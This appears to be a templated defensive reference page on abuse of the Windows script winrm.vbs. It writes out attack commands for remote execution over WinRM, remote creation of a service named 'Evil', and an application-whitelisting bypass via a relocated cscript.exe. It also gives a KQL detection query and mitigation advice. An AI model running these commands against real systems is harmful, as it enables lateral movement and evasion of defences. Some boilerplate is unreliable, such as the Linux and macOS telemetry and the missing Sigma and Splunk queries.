Default Executable Paths
C:\Windows\System32\winrm.vbsC:\Windows\SysWOW64\winrm.vbsIntegrity & Metadata
Documented in LOLBAS project by Oddvar Moe.
Monitor process creation events where FileName is "winrm.vbs" or command line references known attack arguments.
Executive Summary & AI Quick Reference
winrm.vbs is a native utility pre-installed on Windows systems. Threat actors and red teams abuse winrm.vbs as a Living-off-the-Land Binary (LOLBin) to achieve Execute, Defense Evasion without triggering traditional antivirus file-hash alerts. Legitimate system administrators use it for routine administration, making behavioral command-line telemetry essential for differentiation.
Weaponized Parameters & Proof-of-Concepts
Documented attack commands, parameter flags, and privilege prerequisites.
Lateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="{CMD}"} -r:http://target:5985Lateral movement/Remote Command Execution via WMI Win32_Service class over the WinRM protocol
winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="{CMD}"} -r:http://acmedc:5985 && winrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985Bypass AWL solutions by copying cscript.exe to an attacker-controlled location; creating a malicious WsmPty.xsl in the same location, and executing winrm.vbs via the relocated cscript.exe.
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:prettySIEM & EDR Detection Rules
Production telemetry rules configured for Microsoft Defender, Sigma, and Splunk.
Telemetry & SIEM Detection Suite (winrm.vbs)
Validated against MITRE T1216, T12201// Microsoft Defender XDR / Microsoft Sentinel2// Tactic: Execute3DeviceProcessEvents4| where FileName =~ "winrm.vbs"5| where ProcessCommandLine has_any ("winrm")6| project7 Timestamp,8 DeviceName,9 AccountName,10 InitiatingProcessParentFileName,11 InitiatingProcessFileName,12 InitiatingProcessCommandLine,13 FileName,14 FolderPath,15 ProcessCommandLine,16 MD5,17 SHA25618| sort by Timestamp descMitigation, Hardening & Prevention
Recommended defensive controls to block or constrain winrm.vbs abuse.
Enforce Windows Defender Application Control (WDAC) or AppLocker publisher rules to prevent execution outside approved enterprise administration scripts.
Enable ASR rules: Block executable content from email client and webmail and Block Office applications from creating child processes spawning winrm.vbs.
Deploy the KQL, Sigma, and Splunk detection queries below. Alert on anomalous child processes, web requests to unrated external IPs, or encoded payload strings.
Frequently Asked Questions (FAQ) • winrm.vbs
Key operational questions and defensive answers about winrm.vbs LOLBin tradecraft.
What is winrm.vbs and why is it classified as a LOLBin?
winrm.vbs is a legitimate, pre-installed or trusted utility on Windows. It is classified as a Living-off-the-Land Binary (LOLBin) because adversaries abuse its built-in functionality to perform malicious operations—such as Execute, Defense Evasion—without dropping custom malware binaries on disk.
How do threat actors abuse winrm.vbs in cyber intrusions?
Adversaries leverage winrm.vbs to execute stealthy actions while evading signature-based security controls. For example, attackers execute commands like "winrm invoke Create wmicimv2/Win32_Process @{CommandLine="{CMD}"} -r:http://target:5985" to achieve Execute, Defense Evasion, masquerading behind legitimate system process lineage.
How can SOC analysts detect suspicious winrm.vbs activity?
Detection engineers monitor process creation events (Windows Event ID 4688 or Sysmon Event ID 1; Linux auditd EXECVE; macOS Endpoint Security) inspecting anomalous command line arguments, unusual parent-child process relationships (e.g. Office apps or web servers spawning winrm.vbs), and unexpected network connections.
What MITRE ATT&CK techniques does winrm.vbs map to?
winrm.vbs maps to MITRE ATT&CK technique(s): T1216, T1220. These techniques cover adversary actions across tactics such as Defense Evasion, Execution, Persistence, and Command and Control.
How can organizations mitigate and restrict winrm.vbs?
Mitigation strategies include implementing Application Control policies (AppLocker or Windows Defender Application Control - WDAC), enforcing Attack Surface Reduction (ASR) rules, configuring strict privilege separation (disallowing standard users from running sensitive switches), and alerting on execution from non-standard directories.
Other High-Traffic WINDOWS LOLBins
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Background Intelligent Transfer Service (BITS) administrator tool manages asynchronous, throttled background transfers. Attackers use BITS to stage remote downloads that survive reboots and evade conventional network monitoring.